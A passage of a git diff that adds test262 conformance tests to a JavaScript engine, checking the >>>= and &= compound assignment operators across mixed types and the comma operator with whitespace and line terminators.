+x >>>= new Boolean(true);
+if (x !== 0) {
+ $ERROR('#4: x = "1"; x >>>= new Boolean(true); x === 0. Actual: ' + (x));
+}
+
+//CHECK#5
+x = true;
+x >>>= new String("1");
+if (x !== 0) {
+ $ERROR('#5: x = true; x >>>= new String("1"); x === 0. Actual: ' + (x));
+}
+
+//CHECK#6
+x = new String("1");
+x >>>= true;
+if (x !== 0) {
+ $ERROR('#6: x = new String("1"); x >>>= true; x === 0. Actual: ' + (x));
+}
+
+//CHECK#7
+x = new Boolean(true);
+x >>>= new String("1");
+if (x !== 0) {
+ $ERROR('#7: x = new Boolean(true); x >>>= new String("1"); x === 0. Actual: ' + (x));
+}
+
+//CHECK#8
+x = new String("1");
+x >>>= new Boolean(true);
+if (x !== 0) {
+ $ERROR('#8: x = new String("1"); x >>>= new Boolean(true); x === 0. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.8_T2.6.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.8_T2.6.js
new file mode 100644
index 000000000..d73b02dd2
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.8_T2.6.js
@@ -0,0 +1,38 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production x >>>= y is the same as x = x >>> y
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A4.8_T2.6.js
+ * @description Type(x) is different from Type(y) and both types vary between String (primitive or object) and Undefined
+ */
+
+//CHECK#1
+x = "1";
+x >>>= undefined;
+if (x !== 1) {
+ $ERROR('#1: x = "1"; x >>>= undefined; x === 1. Actual: ' + (x));
+}
+
+//CHECK#2
+x = undefined;
+x >>>= "1";
+if (x !== 0) {
+ $ERROR('#2: x = undefined; x >>>= "1"; x === 0. Actual: ' + (x));
+}
+
+//CHECK#3
+x = new String("1");
+x >>>= undefined;
+if (x !== 1) {
+ $ERROR('#3: x = new String("1"); x >>>= undefined; x === 1. Actual: ' + (x));
+}
+
+//CHECK#4
+x = undefined;
+x >>>= new String("1");
+if (x !== 0) {
+ $ERROR('#4: x = undefined; x >>>= new String("1"); x === 0. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.8_T2.7.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.8_T2.7.js
new file mode 100644
index 000000000..b62931e6b
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.8_T2.7.js
@@ -0,0 +1,38 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production x >>>= y is the same as x = x >>> y
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A4.8_T2.7.js
+ * @description Type(x) is different from Type(y) and both types vary between String (primitive or object) and Null
+ */
+
+//CHECK#1
+x = "1";
+x >>>= null;
+if (x !== 1) {
+ $ERROR('#1: x = "1"; x >>>= null; x === 1. Actual: ' + (x));
+}
+
+//CHECK#2
+x = null;
+x >>>= "1";
+if (x !== 0) {
+ $ERROR('#2: x = null; x >>>= "1"; x === 0. Actual: ' + (x));
+}
+
+//CHECK#3
+x = new String("1");
+x >>>= null;
+if (x !== 1) {
+ $ERROR('#3: x = new String("1"); x >>>= null; x === 1. Actual: ' + (x));
+}
+
+//CHECK#4
+x = null;
+x >>>= new String("1");
+if (x !== 0) {
+ $ERROR('#4: x = null; x >>>= new String("1"); x === 0. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.8_T2.8.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.8_T2.8.js
new file mode 100644
index 000000000..a463cca10
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.8_T2.8.js
@@ -0,0 +1,38 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production x >>>= y is the same as x = x >>> y
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A4.8_T2.8.js
+ * @description Type(x) is different from Type(y) and both types vary between Boolean (primitive or object) and Undefined
+ */
+
+//CHECK#1
+x = true;
+x >>>= undefined;
+if (x !== 1) {
+ $ERROR('#1: x = true; x >>>= undefined; x === 1. Actual: ' + (x));
+}
+
+//CHECK#2
+x = undefined;
+x >>>= true;
+if (x !== 0) {
+ $ERROR('#2: x = undefined; x >>>= true; x === 0. Actual: ' + (x));
+}
+
+//CHECK#3
+x = new Boolean(true);
+x >>>= undefined;
+if (x !== 1) {
+ $ERROR('#3: x = new Boolean(true); x >>>= undefined; x === 1. Actual: ' + (x));
+}
+
+//CHECK#4
+x = undefined;
+x >>>= new Boolean(true);
+if (x !== 0) {
+ $ERROR('#4: x = undefined; x >>>= new Boolean(true); x === 0. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.8_T2.9.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.8_T2.9.js
new file mode 100644
index 000000000..e055c7d2d
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.8_T2.9.js
@@ -0,0 +1,38 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production x >>>= y is the same as x = x >>> y
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A4.8_T2.9.js
+ * @description Type(x) is different from Type(y) and both types vary between Boolean (primitive or object) and Null
+ */
+
+//CHECK#1
+x = true;
+x >>>= null;
+if (x !== 1) {
+ $ERROR('#1: x = true; x >>>= null; x === 1. Actual: ' + (x));
+}
+
+//CHECK#2
+x = null;
+x >>>= true;
+if (x !== 0) {
+ $ERROR('#2: x = null; x >>>= true; x === 0. Actual: ' + (x));
+}
+
+//CHECK#3
+x = new Boolean(true);
+x >>>= null;
+if (x !== 1) {
+ $ERROR('#3: x = new Boolean(true); x >>>= null; x === 1. Actual: ' + (x));
+}
+
+//CHECK#4
+x = null;
+x >>>= new Boolean(true);
+if (x !== 0) {
+ $ERROR('#4: x = null; x >>>= new Boolean(true); x === 0. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.9_T1.1.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.9_T1.1.js
new file mode 100644
index 000000000..13be4e002
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.9_T1.1.js
@@ -0,0 +1,38 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production x &= y is the same as x = x & y
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A4.9_T1.1.js
+ * @description Type(x) and Type(y) vary between primitive boolean and Boolean object
+ */
+
+//CHECK#1
+x = true;
+x &= true;
+if (x !== 1) {
+ $ERROR('#1: x = true; x &= true; x === 1. Actual: ' + (x));
+}
+
+//CHECK#2
+x = new Boolean(true);
+x &= true;
+if (x !== 1) {
+ $ERROR('#2: x = new Boolean(true); x &= true; x === 1. Actual: ' + (x));
+}
+
+//CHECK#3
+x = true;
+x &= new Boolean(true);
+if (x !== 1) {
+ $ERROR('#3: x = true; x &= new Boolean(true); x === 1. Actual: ' + (x));
+}
+
+//CHECK#4
+x = new Boolean(true);
+x &= new Boolean(true);
+if (x !== 1) {
+ $ERROR('#4: x = new Boolean(true); x &= new Boolean(true); x === 1. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.9_T1.2.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.9_T1.2.js
new file mode 100644
index 000000000..cc1eb514b
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.9_T1.2.js
@@ -0,0 +1,39 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production x &= y is the same as x = x & y
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A4.9_T1.2.js
+ * @description Type(x) and Type(y) vary between primitive number and Number object
+ */
+
+//CHECK#1
+x = 1;
+x &= 1;
+if (x !== 1) {
+ $ERROR('#1: x = 1; x &= 1; x === 1. Actual: ' + (x));
+}
+
+//CHECK#2
+x = new Number(1);
+x &= 1;
+if (x !== 1) {
+ $ERROR('#2: x = new Number(1); x &= 1; x === 1. Actual: ' + (x));
+}
+
+//CHECK#3
+x = 1;
+x &= new Number(1);
+if (x !== 1) {
+ $ERROR('#3: x = 1; x &= new Number(1); x === 1. Actual: ' + (x));
+}
+
+//CHECK#4
+x = new Number(1);
+x &= new Number(1);
+if (x !== 1) {
+ $ERROR('#4: x = new Number(1); x &= new Number(1); x === 1. Actual: ' + (x));
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.9_T1.3.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.9_T1.3.js
new file mode 100644
index 000000000..e845b3c9d
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.9_T1.3.js
@@ -0,0 +1,52 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production x &= y is the same as x = x & y
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A4.9_T1.3.js
+ * @description Type(x) and Type(y) vary between primitive string and String object
+ */
+
+//CHECK#1
+x = "1";
+x &= "1";
+if (x !== 1) {
+ $ERROR('#1: x = "1"; x &= "1"; x === 1. Actual: ' + (x));
+}
+
+//CHECK#2
+x = new String("1");
+x &= "1";
+if (x !== 1) {
+ $ERROR('#2: x = new String("1"); x &= "1"; x === 1. Actual: ' + (x));
+}
+
+//CHECK#3
+x = "1";
+x &= new String("1");
+if (x !== 1) {
+ $ERROR('#3: x = "1"; x &= new String("1"); x === 1. Actual: ' + (x));
+}
+
+//CHECK#4
+x = new String("1");
+x &= new String("1");
+if (x !== 1) {
+ $ERROR('#4: x = new String("1"); x &= new String("1"); x === 1. Actual: ' + (x));
+}
+
+//CHECK#5
+x = "x";
+x &= "1";
+if (x !== 0) {
+ $ERROR('#5: x = "x"; x &= "1"; x === 0. Actual: ' + (x));
+}
+
+//CHECK#6
+x = "1";
+x &= "x";
+if (x !== 0) {
+ $ERROR('#6: x = "1"; x &= "x"; x === 0. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.9_T1.4.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.9_T1.4.js
new file mode 100644
index 000000000..dd93cbb91
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.9_T1.4.js
@@ -0,0 +1,38 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production x &= y is the same as x = x & y
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A4.9_T1.4.js
+ * @description Type(x) and Type(y) vary between Null and Undefined
+ */
+
+//CHECK#1
+x = null;
+x &= undefined;
+if (x !== 0) {
+ $ERROR('#1: x = null; x &= undefined; x === 0. Actual: ' + (x));
+}
+
+//CHECK#2
+x = undefined;
+x &= null;
+if (x !== 0) {
+ $ERROR('#2: x = undefined; x &= null; x === 0. Actual: ' + (x));
+}
+
+//CHECK#3
+x = undefined;
+x &= undefined;
+if (x !== 0) {
+ $ERROR('#3: x = undefined; x &= undefined; x === 0. Actual: ' + (x));
+}
+
+//CHECK#4
+x = null;
+x &= null;
+if (x !== 0) {
+ $ERROR('#4: x = null; x &= null; x === 0. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.9_T2.1.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.9_T2.1.js
new file mode 100644
index 000000000..05cd8f837
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.9_T2.1.js
@@ -0,0 +1,66 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production x &= y is the same as x = x & y
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A4.9_T2.1.js
+ * @description Type(x) is different from Type(y) and both types vary between Number (primitive or object) and Boolean (primitive and object)
+ */
+
+//CHECK#1
+x = true;
+x &= 1;
+if (x !== 1) {
+ $ERROR('#1: x = true; x &= 1; x === 1. Actual: ' + (x));
+}
+
+//CHECK#2
+x = 1;
+x &= true;
+if (x !== 1) {
+ $ERROR('#2: x = 1; x &= true; x === 1. Actual: ' + (x));
+}
+
+//CHECK#3
+x = new Boolean(true);
+x &= 1;
+if (x !== 1) {
+ $ERROR('#3: x = new Boolean(true); x &= 1; x === 1. Actual: ' + (x));
+}
+
+//CHECK#4
+x = 1;
+x &= new Boolean(true);
+if (x !== 1) {
+ $ERROR('#4: x = 1; x &= new Boolean(true); x === 1. Actual: ' + (x));
+}
+
+//CHECK#5
+x = true;
+x &= new Number(1);
+if (x !== 1) {
+ $ERROR('#5: x = true; x &= new Number(1); x === 1. Actual: ' + (x));
+}
+
+//CHECK#6
+x = new Number(1);
+x &= true;
+if (x !== 1) {
+ $ERROR('#6: x = new Number(1); x &= true; x === 1. Actual: ' + (x));
+}
+
+//CHECK#7
+x = new Boolean(true);
+x &= new Number(1);
+if (x !== 1) {
+ $ERROR('#7: x = new Boolean(true); x &= new Number(1); x === 1. Actual: ' + (x));
+}
+
+//CHECK#8
+x = new Number(1);
+x &= new Boolean(true);
+if (x !== 1) {
+ $ERROR('#8: x = new Number(1); x &= new Boolean(true); x === 1. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.9_T2.2.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.9_T2.2.js
new file mode 100644
index 000000000..b394dd6e7
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.9_T2.2.js
@@ -0,0 +1,80 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production x &= y is the same as x = x & y
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A4.9_T2.2.js
+ * @description Type(x) is different from Type(y) and both types vary between Number (primitive or object) and String (primitive and object)
+ */
+
+//CHECK#1
+x = "1";
+x &= 1;
+if (x !== 1) {
+ $ERROR('#1: x = "1"; x &= 1; x === 1. Actual: ' + (x));
+}
+
+//CHECK#2
+x = 1;
+x &= "1";
+if (x !== 1) {
+ $ERROR('#2: x = 1; x &= "1"; x === 1. Actual: ' + (x));
+}
+
+//CHECK#3
+x = new String("1");
+x &= 1;
+if (x !== 1) {
+ $ERROR('#3: x = new String("1"); x &= 1; x === 1. Actual: ' + (x));
+}
+
+//CHECK#4
+x = 1;
+x &= new String("1");
+if (x !== 1) {
+ $ERROR('#4: x = 1; x &= new String("1"); x === 1. Actual: ' + (x));
+}
+
+//CHECK#5
+x = "1";
+x &= new Number(1);
+if (x !== 1) {
+ $ERROR('#5: x = "1"; x &= new Number(1); x === 1. Actual: ' + (x));
+}
+
+//CHECK#6
+x = new Number(1);
+x &= "1";
+if (x !== 1) {
+ $ERROR('#6: x = new Number(1); x &= "1"; x === 1. Actual: ' + (x));
+}
+
+//CHECK#7
+x = new String("1");
+x &= new Number(1);
+if (x !== 1) {
+ $ERROR('#7: x = new String("1"); x &= new Number(1); x === 1. Actual: ' + (x));
+}
+
+//CHECK#8
+x = new Number(1);
+x &= new String("1");
+if (x !== 1) {
+ $ERROR('#8: x = new Number(1); x &= new String("1"); x === 1. Actual: ' + (x));
+}
+
+//CHECK#9
+x = "x";
+x &= 1;
+if (x !== 0) {
+ $ERROR('#9: x = "x"; x &= 1; x === 0. Actual: ' + (x));
+}
+
+//CHECK#10
+x = 1;
+x &= "x";
+if (x !== 0) {
+ $ERROR('#10: x = 1; x &= "x"; x === 0. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.9_T2.3.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.9_T2.3.js
new file mode 100644
index 000000000..b4150a583
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.9_T2.3.js
@@ -0,0 +1,38 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production x &= y is the same as x = x & y
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A4.9_T2.3.js
+ * @description Type(x) is different from Type(y) and both types vary between Number (primitive or object) and Null
+ */
+
+//CHECK#1
+x = 1;
+x &= null;
+if (x !== 0) {
+ $ERROR('#1: x = 1; x &= null; x === 0. Actual: ' + (x));
+}
+
+//CHECK#2
+x = null;
+x &= 1;
+if (x !== 0) {
+ $ERROR('#2: x = null; x &= 1; x === 0. Actual: ' + (x));
+}
+
+//CHECK#3
+x = new Number(1);
+x &= null;
+if (x !== 0) {
+ $ERROR('#3: x = new Number(1); x &= null; x === 0. Actual: ' + (x));
+}
+
+//CHECK#4
+x = null;
+x &= new Number(1);
+if (x !== 0) {
+ $ERROR('#4: x = null; x &= new Number(1); x === 0. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.9_T2.4.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.9_T2.4.js
new file mode 100644
index 000000000..f7bb4d4d8
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.9_T2.4.js
@@ -0,0 +1,38 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production x &= y is the same as x = x & y
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A4.9_T2.4.js
+ * @description Type(x) is different from Type(y) and both types vary between Number (primitive or object) and Undefined
+ */
+
+//CHECK#1
+x = 1;
+x &= undefined;
+if (x !== 0) {
+ $ERROR('#1: x = 1; x &= undefined; x === 0. Actual: ' + (x));
+}
+
+//CHECK#2
+x = undefined;
+x &= 1;
+if (x !== 0) {
+ $ERROR('#2: x = undefined; x &= 1; x === 0. Actual: ' + (x));
+}
+
+//CHECK#3
+x = new Number(1);
+x &= undefined;
+if (x !== 0) {
+ $ERROR('#3: x = new Number(1); x &= undefined; x === 0. Actual: ' + (x));
+}
+
+//CHECK#4
+x = undefined;
+x &= new Number(1);
+if (x !== 0) {
+ $ERROR('#4: x = undefined; x &= new Number(1); x === 0. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.9_T2.5.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.9_T2.5.js
new file mode 100644
index 000000000..a9ce33f78
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.9_T2.5.js
@@ -0,0 +1,66 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production x &= y is the same as x = x & y
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A4.9_T2.5.js
+ * @description Type(x) is different from Type(y) and both types vary between String (primitive or object) and Boolean (primitive and object)
+ */
+
+//CHECK#1
+x = true;
+x &= "1";
+if (x !== 1) {
+ $ERROR('#1: x = true; x &= "1"; x === 1. Actual: ' + (x));
+}
+
+//CHECK#2
+x = "1";
+x &= true;
+if (x !== 1) {
+ $ERROR('#2: x = "1"; x &= true; x === 1. Actual: ' + (x));
+}
+
+//CHECK#3
+x = new Boolean(true);
+x &= "1";
+if (x !== 1) {
+ $ERROR('#3: x = new Boolean(true); x &= "1"; x === 1. Actual: ' + (x));
+}
+
+//CHECK#4
+x = "1";
+x &= new Boolean(true);
+if (x !== 1) {
+ $ERROR('#4: x = "1"; x &= new Boolean(true); x === 1. Actual: ' + (x));
+}
+
+//CHECK#5
+x = true;
+x &= new String("1");
+if (x !== 1) {
+ $ERROR('#5: x = true; x &= new String("1"); x === 1. Actual: ' + (x));
+}
+
+//CHECK#6
+x = new String("1");
+x &= true;
+if (x !== 1) {
+ $ERROR('#6: x = new String("1"); x &= true; x === 1. Actual: ' + (x));
+}
+
+//CHECK#7
+x = new Boolean(true);
+x &= new String("1");
+if (x !== 1) {
+ $ERROR('#7: x = new Boolean(true); x &= new String("1"); x === 1. Actual: ' + (x));
+}
+
+//CHECK#8
+x = new String("1");
+x &= new Boolean(true);
+if (x !== 1) {
+ $ERROR('#8: x = new String("1"); x &= new Boolean(true); x === 1. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.9_T2.6.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.9_T2.6.js
new file mode 100644
index 000000000..2a62b9723
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.9_T2.6.js
@@ -0,0 +1,38 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production x &= y is the same as x = x & y
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A4.9_T2.6.js
+ * @description Type(x) is different from Type(y) and both types vary between String (primitive or object) and Undefined
+ */
+
+//CHECK#1
+x = "1";
+x &= undefined;
+if (x !== 0) {
+ $ERROR('#1: x = "1"; x &= undefined; x === 0. Actual: ' + (x));
+}
+
+//CHECK#2
+x = undefined;
+x &= "1";
+if (x !== 0) {
+ $ERROR('#2: x = undefined; x &= "1"; x === 0. Actual: ' + (x));
+}
+
+//CHECK#3
+x = new String("1");
+x &= undefined;
+if (x !== 0) {
+ $ERROR('#3: x = new String("1"); x &= undefined; x === 0. Actual: ' + (x));
+}
+
+//CHECK#4
+x = undefined;
+x &= new String("1");
+if (x !== 0) {
+ $ERROR('#4: x = undefined; x &= new String("1"); x === 0. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.9_T2.7.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.9_T2.7.js
new file mode 100644
index 000000000..b9303bf5f
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.9_T2.7.js
@@ -0,0 +1,38 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production x &= y is the same as x = x & y
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A4.9_T2.7.js
+ * @description Type(x) is different from Type(y) and both types vary between String (primitive or object) and Null
+ */
+
+//CHECK#1
+x = "1";
+x &= null;
+if (x !== 0) {
+ $ERROR('#1: x = "1"; x &= null; x === 0. Actual: ' + (x));
+}
+
+//CHECK#2
+x = null;
+x &= "1";
+if (x !== 0) {
+ $ERROR('#2: x = null; x &= "1"; x === 0. Actual: ' + (x));
+}
+
+//CHECK#3
+x = new String("1");
+x &= null;
+if (x !== 0) {
+ $ERROR('#3: x = new String("1"); x &= null; x === 0. Actual: ' + (x));
+}
+
+//CHECK#4
+x = null;
+x &= new String("1");
+if (x !== 0) {
+ $ERROR('#4: x = null; x &= new String("1"); x === 0. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.9_T2.8.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.9_T2.8.js
new file mode 100644
index 000000000..0e4db1ffe
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.9_T2.8.js
@@ -0,0 +1,38 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production x &= y is the same as x = x & y
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A4.9_T2.8.js
+ * @description Type(x) is different from Type(y) and both types vary between Boolean (primitive or object) and Undefined
+ */
+
+//CHECK#1
+x = true;
+x &= undefined;
+if (x !== 0) {
+ $ERROR('#1: x = true; x &= undefined; x === 0. Actual: ' + (x));
+}
+
+//CHECK#2
+x = undefined;
+x &= true;
+if (x !== 0) {
+ $ERROR('#2: x = undefined; x &= true; x === 0. Actual: ' + (x));
+}
+
+//CHECK#3
+x = new Boolean(true);
+x &= undefined;
+if (x !== 0) {
+ $ERROR('#3: x = new Boolean(true); x &= undefined; x === 0. Actual: ' + (x));
+}
+
+//CHECK#4
+x = undefined;
+x &= new Boolean(true);
+if (x !== 0) {
+ $ERROR('#4: x = undefined; x &= new Boolean(true); x === 0. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.9_T2.9.js b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.9_T2.9.js
new file mode 100644
index 000000000..3e5a05304
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/S11.13.2_A4.9_T2.9.js
@@ -0,0 +1,38 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production x &= y is the same as x = x & y
+ *
+ * @path ch11/11.13/11.13.2/S11.13.2_A4.9_T2.9.js
+ * @description Type(x) is different from Type(y) and both types vary between Boolean (primitive or object) and Null
+ */
+
+//CHECK#1
+x = true;
+x &= null;
+if (x !== 0) {
+ $ERROR('#1: x = true; x &= null; x === 0. Actual: ' + (x));
+}
+
+//CHECK#2
+x = null;
+x &= true;
+if (x !== 0) {
+ $ERROR('#2: x = null; x &= true; x === 0. Actual: ' + (x));
+}
+
+//CHECK#3
+x = new Boolean(true);
+x &= null;
+if (x !== 0) {
+ $ERROR('#3: x = new Boolean(true); x &= null; x === 0. Actual: ' + (x));
+}
+
+//CHECK#4
+x = null;
+x &= new Boolean(true);
+if (x !== 0) {
+ $ERROR('#4: x = null; x &= new Boolean(true); x === 0. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/browser.js b/js/src/tests/test262/ch11/11.13/11.13.2/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/browser.js
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/shell.js b/js/src/tests/test262/ch11/11.13/11.13.2/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/shell.js
diff --git a/js/src/tests/test262/ch11/11.13/browser.js b/js/src/tests/test262/ch11/11.13/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/browser.js
diff --git a/js/src/tests/test262/ch11/11.13/shell.js b/js/src/tests/test262/ch11/11.13/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/shell.js
diff --git a/js/src/tests/test262/ch11/11.14/S11.14_A1.js b/js/src/tests/test262/ch11/11.14/S11.14_A1.js
new file mode 100644
index 000000000..2e3528db4
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.14/S11.14_A1.js
@@ -0,0 +1,61 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * White Space and Line Terminator between Expression and , or between , and AssignmentExpression are allowed
+ *
+ * @path ch11/11.14/S11.14_A1.js
+ * @description Checking by using eval
+ */
+
+//CHECK#1
+if ((eval("false\u0009,\u0009true")) !== true) {
+ $ERROR('#1: (false\\u0009,\\u0009true) === true');
+}
+
+//CHECK#2
+if ((eval("false\u000B,\u000Btrue")) !== true) {
+ $ERROR('#2: (false\\u000B,\\u000Btrue) === true');
+}
+
+//CHECK#3
+if ((eval("false\u000C,\u000Ctrue")) !== true) {
+ $ERROR('#3: (false\\u000C,\\u000Ctrue) === true');
+}
+
+//CHECK#4
+if ((eval("false\u0020,\u0020true")) !== true) {
+ $ERROR('#4: (false\\u0020,\\u0020true) === true');
+}
+
+//CHECK#5
+if ((eval("false\u00A0,\u00A0true")) !== true) {
+ $ERROR('#5: (false\\u00A0,\\u00A0true) === true');
+}
+
+//CHECK#6
+if ((eval("false\u000A,\u000Atrue")) !== true) {
+ $ERROR('#6: (false\\u000A,\\u000Atrue) === true');
+}
+
+//CHECK#7
+if ((eval("false\u000D,\u000Dtrue")) !== true) {
+ $ERROR('#7: (false\\u000D,\\u000Dtrue) === true');
+}
+
+//CHECK#8
+if ((eval("false\u2028,\u2028true")) !== true) {
+ $ERROR('#8: (false\\u2028,\\u2028true) === true');
+}
+
+//CHECK#9
+if ((eval("false\u2029,\u2029true")) !== true) {
+ $ERROR('#9: (false\\u2029,\\u2029true) === true');
+}
+
+
+//CHECK#10
+if ((eval("false\u0009\u000B\u000C\u0020\u00A0\u000A\u000D\u2028\u2029,\u0009\u000B\u000C\u0020\u00A0\u000A\u000D\u2028\u2029true")) !== true) {
+ $ERROR('#10: (false\\u0009\\u000B\\u000C\\u0020\\u00A0\\u000A\\u000D\\u2028\\u2029,\\u0009\\u000B\\u000C\\u0020\\u00A0\\u000A\\u000D\\u2028\\u2029true) === true');
+}
+
